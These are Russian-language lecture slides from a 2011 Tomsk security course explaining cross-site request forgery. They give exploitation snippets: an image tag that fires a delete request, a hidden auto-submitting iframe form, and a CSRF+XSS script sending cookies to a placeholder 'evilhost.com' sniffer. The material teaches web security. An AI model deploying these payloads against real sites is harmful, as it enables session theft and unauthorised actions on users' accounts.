Open InfoSec Days

Глава 1. Атаки на веб-приложения и методы защиты

Занятие 2. Cross-site request forgery

Томск, 2011

Отказ от ответственности

- Информация предоставлена исключительно в ознакомительных целях.
- Всю ответственность за использование и применение полученных знаний каждый участник берет на себя

Cross Site Request Forgery

- CSRF (англ. Cross Site Request Forgery — «Подделка межсайтовых запросов», также известен как XSRF)

  Вид атак на посетителей веб-сайтов, использующий недостатки протокола HTTP. Если жертва заходит на сайт, созданный злоумышленником, от её лица тайно отправляется запрос на другой сервер (например, на сервер платёжной системы), осуществляющий некую вредоносную операцию (например, перевод денег на счёт злоумышленника). Для осуществления данной атаки, жертва должна быть авторизована на том сервере, на который отправляется запрос, и этот запрос не должен требовать какого-либо подтверждения со стороны пользователя, который не может быть проигнорирован или подделан атакующим скриптом.

- Угрозы
  - Произвольные действия на целевом сайте без авторизации (отправка сообщений, смена секретного пароля)
  - Кража cookie (CSRF + Passive XSS)

Проблема. Пример кода

- Отсутсвие проверок на то, что пользователь действительно сам отправил форму

```
<form>
   <input type = “text” name = “field”>
   <input type = “submit”>
</form>
```

Эксплуатация

- GET
  - Подставить (к примеру) тэг <img> и указать в нем адрес с нужным нам действием на целевом сайте. Действие выполнится с cookie посетителя

  <img src = http://socialnet.com/index.php?action=delete&confirm=yes>

- POST
  - Посредством iframe и формы с POST запросом, в которой указаны значения нужных нам полей

Содержимое атакующей страницы

```
<script>
function submit_form(){
window.evilframe.document.forms[0].submit();
}
</script>

<iframe name='evilframe' src='form.html' style='display:none'
onLoad=submit_form();></iframe>
```

Содержимое form.html

```
<form action=http://socialnet.com/mail.php method=POST>
<input name=subj type=text value="OISD"><br>
<input name=body type=text value="CSRF in action!"><br>
<input type=submit>
</form>
```

CSRF + XSS

1. Заполнить через CSRF уязвимое место к XSS на сайте скриптом вида

```
<script>
img = new Image();
img.src = "http://evilhost.com/oisd/sniffer.php?cookie="+document.cookie;
</script>
```

Почитать

- Атака
  - http://www.inattack.ru/article/552.html
- Защита
  - http://raz0r.name/articles/zashhita-ot-csrf/